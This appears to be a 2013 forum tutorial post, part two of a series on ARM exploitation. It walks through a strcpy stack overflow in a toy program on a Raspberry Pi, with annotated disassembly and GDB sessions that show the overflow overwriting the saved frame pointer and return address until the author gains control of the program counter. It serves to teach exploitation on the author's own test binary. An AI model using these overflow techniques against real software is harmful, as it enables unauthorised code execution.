Author Topic: Introduction to ARM exploitation and shellcode part 2  (Read 1676 times)

0 Members and 1 Guest are viewing this topic.

Offline chapp

  • Peasant
  • *
  • Posts: 87
  • Cookies: 2
    • View Profile
Introduction to ARM exploitation and shellcode part 2
« on: December 04, 2013, 08:23:50 pm »
This is the second part of a small series. First part can be found here

In this second part I'm going to pick up where I left you hanging with a disassembly of our vulnerable application. This time I will add appropriate comments directly in the disassembly. Since this is crap and boring I'll leave you with only complete comments of the "exploitme()" function.
Code: [Select]
00008400 <exploitme>:
    ; Prolog
    8400:       e92d4800        push    {fp, lr}           ; Push frame pointer and link register (our return address)
    8404:       e28db004        add     fp, sp, #4         ; Point fp to our stack pointer + 4 to create the appropriate stack frame
    8408:       e24dd018        sub     sp, sp, #24        ; Make room for local variables on the stack by increasing the stack
                                                           ; Remember the stack grows downwards hence subtracting from stack pointer
                                                           ; actually increases the stack size.
    840c:       e50b0018        str     r0, [fp, #-24]     ; Store our 1st argument on the stack address fp-24








    ; Function internal
    8410:       e51b3018        ldr     r3, [fp, #-24]     ; Load the argument into register 3
    8414:       e24b2014        sub     r2, fp, #20        ; Load address at fp-20 into register 2
    8418:       e1a00002        mov     r0, r2             ; Move r2 to r0. This is our first argument to strcpy
    841c:       e1a01003        mov     r1, r3             ; Move r3 to r1. This is our second argument to strcpy
    8420:       ebffffbf        bl      8324 <_init+0x2c>  ; Call strcpy. bl (branch and link) jumps to the address 8324 and puts 0x8424 in the LR




    ; Epilog
    8424:       e24bd004        sub     sp, fp, #4         ; Restore stack pointer
    8428:       e8bd8800        pop     {fp, pc}           ; Restore previous fp and return to the address put in LR by the caller.




0000842c <main>:




It is now time to test this application and get going with exploiting it. I assume readers are aware of buffer overflows and can easily spot the problematic string copy. We'll start by doing some test runs to see what we got here.




Code: (bash) [Select]
pi@raspberrypi ~/code $ ./exploitme
Usage: ./exploitme <string>
pi@raspberrypi ~/code $ ./exploitme AAAA
pi@raspberrypi ~/code $ ./exploitme AAAAAAAAAAAAAAAA
Illegal instruction
pi@raspberrypi ~/code $ ./exploitme AAAAAAAAAAAAAAAAAAAA
Segmentation fault




What to notice here first of all is the segmentation fault when sending 20 "A"s as an argument, but the "Illegal instruction" is also worth taking note of. Let's fire up GDB and take a look at what is going on under the hood.




Code: (bash) [Select]
pi@raspberrypi ~/code $ sudo gdb exploitme
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/pi/code/exploitme...(no debugging symbols found)...done.
(gdb) set args AAAAAAAAAAAAAAAAAAAA
(gdb) displ/5i $pc
(gdb) b exploitme
Breakpoint 1 at 0x8400
(gdb) r
Starting program: /home/pi/code/exploitme AAAAAAAAAAAAAAAAAAAA




Breakpoint 1, 0x00008400 in exploitme ()
1: x/5i $pc
=> 0x8400 <exploitme>:  push  {r11, lr}
   0x8404 <exploitme+4>:  add r11, sp, #4
   0x8408 <exploitme+8>:  sub sp, sp, #24
   0x840c <exploitme+12>: str r0, [r11, #-24]
   0x8410 <exploitme+16>: ldr r3, [r11, #-24]
(gdb) i r
r0             0xbefff8ac 3204446380
r1             0xbefff774 3204446068
r2             0xbefff780 3204446080
r3             0xbefff8ac 3204446380
r4             0x0  0
r5             0x0  0
r6             0x8354 33620
r7             0x0  0
r8             0x0  0
r9             0x0  0
r10            0xb6fff000 3070226432
r11            0xbefff624 3204445732
r12            0xb6fc1000 3069972480
sp             0xbefff618 0xbefff618
lr             0x8480 33920
pc             0x8400 0x8400 <exploitme>
cpsr           0x20000010 536870928
(gdb) x/10x $fp
0xbefff618: 0xbefff774  0x00000002  0x00000000  0xb6ead81c
0xbefff628: 0xb6fc1000  0xbefff774  0x00000002  0x0000842c
0xbefff638: 0x00000000  0x00000000
(gdb) x/10x $sp
0xbefff618: 0xbefff774  0x00000002  0x00000000  0xb6ead81c
0xbefff628: 0xb6fc1000  0xbefff774  0x00000002  0x0000842c
0xbefff638: 0x00000000  0x00000000
(gdb) ni 9
0x00008424 in exploitme ()
1: x/5i $pc
=> 0x8424 <exploitme+36>: sub sp, r11, #4
   0x8428 <exploitme+40>: pop {r11, pc}
   0x842c <main>: push  {r11, lr}
   0x8430 <main+4>: add r11, sp, #4
   0x8434 <main+8>: sub sp, sp, #8
(gdb) x/10x $fp
0xbefff614: 0x00008400  0xbefff774  0x00000002  0x00000000
0xbefff624: 0xb6ead81c  0xb6fc1000  0xbefff774  0x00000002
0xbefff634: 0x0000842c  0x00000000
(gdb) x/10x $sp
0xbefff5f8: 0x00000000  0xbefff8ac  0x41414141  0x41414141
0xbefff608: 0x41414141  0x41414141  0x41414141  0x00008400
0xbefff618: 0xbefff774  0x00000002
(gdb)
When reaching 0x8424 we have successfully overwritten our previous frame pointer and successfully caused memory corruption. If you compare the return address, you'll also notice this has changed due to the null byte also being copied by strcpy(). In this case, this will cause the application to continue execution from the beginning of exploitme(), which is just a coincident.




Code: (bash) [Select]
(gdb) ni
0x00008404 in exploitme ()
1: x/5i $pc
=> 0x8404 <exploitme+4>:  add r11, sp, #4
   0x8408 <exploitme+8>:  sub sp, sp, #24
   0x840c <exploitme+12>: str r0, [r11, #-24]
   0x8410 <exploitme+16>: ldr r3, [r11, #-24]
   0x8414 <exploitme+20>: sub r2, r11, #20
(gdb) ni 9
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
   0x842c <main>: push  {r11, lr}
   0x8430 <main+4>: add r11, sp, #4
   0x8434 <main+8>: sub sp, sp, #8
   0x8438 <main+12>:  str r0, [r11, #-8]
(gdb) x/10x $sp
0xbefff610: 0x41414141  0x00008424  0xbefff774  0x00000002
0xbefff620: 0x00000000  0xb6ead81c  0xb6fc1000  0xbefff774
0xbefff630: 0x00000002  0x0000842c
(gdb) c
Continuing.




Program received signal SIGSEGV, Segmentation fault.
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
   0x842c <main>: push  {r11, lr}
   0x8430 <main+4>: add r11, sp, #4
   0x8434 <main+8>: sub sp, sp, #8
   0x8438 <main+12>:  str r0, [r11, #-8]
(gdb)
I'll leave it as an exercise for you to see what happens for the further execution and why we get a segmentation fault. If we instead try to provide 24 A's for the argument, we get exactly what we are interested in.
Code: (bash) [Select]
(gdb) set args AAAAAAAAAAAAAAAAAAAAAAAA
(gdb) r
Starting program: /home/pi/code/exploitme AAAAAAAAAAAAAAAAAAAAAAAA




Breakpoint 1, 0x00008400 in exploitme ()
1: x/5i $pc
=> 0x8400 <exploitme>:  push  {r11, lr}
   0x8404 <exploitme+4>:  add r11, sp, #4
   0x8408 <exploitme+8>:  sub sp, sp, #24
   0x840c <exploitme+12>: str r0, [r11, #-24]
   0x8410 <exploitme+16>: ldr r3, [r11, #-24]
(gdb) ni 10
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
   0x842c <main>: push  {r11, lr}
   0x8430 <main+4>: add r11, sp, #4
   0x8434 <main+8>: sub sp, sp, #8
   0x8438 <main+12>:  str r0, [r11, #-8]
(gdb) x/10x $sp
0xbefff600: 0x41414141  0x41414141  0xbefff700  0x00000002
0xbefff610: 0x00000000  0xb6ead81c  0xb6fc1000  0xbefff764
0xbefff620: 0x00000002  0x0000842c
(gdb) ni
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
   0x842c <main>: push  {r11, lr}
   0x8430 <main+4>: add r11, sp, #4
   0x8434 <main+8>: sub sp, sp, #8
   0x8438 <main+12>:  str r0, [r11, #-8]
Could not insert single-step breakpoint at 0x41414140
(gdb) c
Continuing.




Program received signal SIGSEGV, Segmentation fault.
0x41414140 in ?? ()
1: x/5i $pc
=> 0x41414140:  <error: Cannot access memory at address 0x41414140>
(gdb) i r
r0             0xbefff5f0 3204445680
r1             0xbefff8c0 3204446400
r2             0xfffffd48 4294966600
r3             0x0  0
r4             0x0  0
r5             0x0  0
r6             0x8354 33620
r7             0x0  0
r8             0x0  0
r9             0x0  0
r10            0xb6fff000 3070226432
r11            0x41414141 1094795585
r12            0xb6f0d478 3069236344
sp             0xbefff608 0xbefff608
lr             0x8424 33828
pc             0x41414140 0x41414140
cpsr           0x60000030 1610612784
(gdb)




So we got control of the PC due to our overwrite. This is not too different from what you might already know from exploitation on x86 and in the next part we will start taking a look at how ARM exploitation differs from x86 exploitation.
« Last Edit: December 04, 2013, 08:26:24 pm by chapp »